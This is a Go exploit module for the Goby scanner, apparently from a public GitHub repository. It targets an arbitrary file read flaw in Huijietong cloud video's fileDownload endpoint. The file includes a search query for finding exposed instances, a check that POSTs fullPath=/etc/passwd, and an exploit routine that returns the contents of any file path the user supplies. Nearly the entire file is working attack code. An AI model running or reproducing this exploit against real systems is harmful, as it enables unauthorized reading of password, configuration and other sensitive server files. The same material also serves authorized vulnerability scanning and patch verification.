-
Notifications
You must be signed in to change notification settings - Fork 0
/
Huijietong_cloud_video_fileDownload_File_read.go
107 lines (104 loc) · 2.76 KB
/
Huijietong_cloud_video_fileDownload_File_read.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package exploits
import (
"fmt"
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/scanconfig"
"git.gobies.org/goby/httpclient"
"strings"
)
func init() {
expJson := `{
"Name": "Huijietong cloud video fileDownload File read",
"Description": "Huijietong cloud video fileDownload File read",
"Product": "Huijietong cloud video",
"Homepage": "http://www.hjtcloud.com/",
"DisclosureDate": "2021-05-17",
"Author": "PeiQi",
"GobyQuery": "body=\"/him/api/rest/v1.0/node/role\"",
"Level": "1",
"Impact": "Server arbitrary file read",
"Recommendation": "",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"name": "File",
"type": "input",
"value": "/etc/passwd"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"data": "",
"data_type": "text",
"follow_redirect": true,
"method": "GET",
"uri": "/"
},
"ResponseTest": {
"checks": [
{
"bz": "",
"operation": "==",
"type": "item",
"value": "200",
"variable": "$code"
}
],
"operation": "AND",
"type": "group"
}
}
],
"ExploitSteps": null,
"Tags": ["File read"],
"CVEIDs": null,
"CVSSScore": "0.0",
"AttackSurfaces": {
"Application": ["Huijietong cloud video"],
"Support": null,
"Service": null,
"System": null,
"Hardware": null
}
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
uri := "/fileDownload?action=downloadBackupFile"
cfg := httpclient.NewPostRequestConfig(uri)
cfg.VerifyTls = false
cfg.FollowRedirect = false
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
cfg.Data = "fullPath=/etc/passwd"
if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "root")
}
return false
},
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
file := ss.Params["File"].(string)
uri := "/fileDownload?action=downloadBackupFile"
cfg := httpclient.NewPostRequestConfig(uri)
cfg.VerifyTls = false
cfg.FollowRedirect = false
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
cfg.Data = fmt.Sprintf("fullPath=%s",file)
if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
expResult.Output = resp.Utf8Html
expResult.Success = true
}
return expResult
},
))
}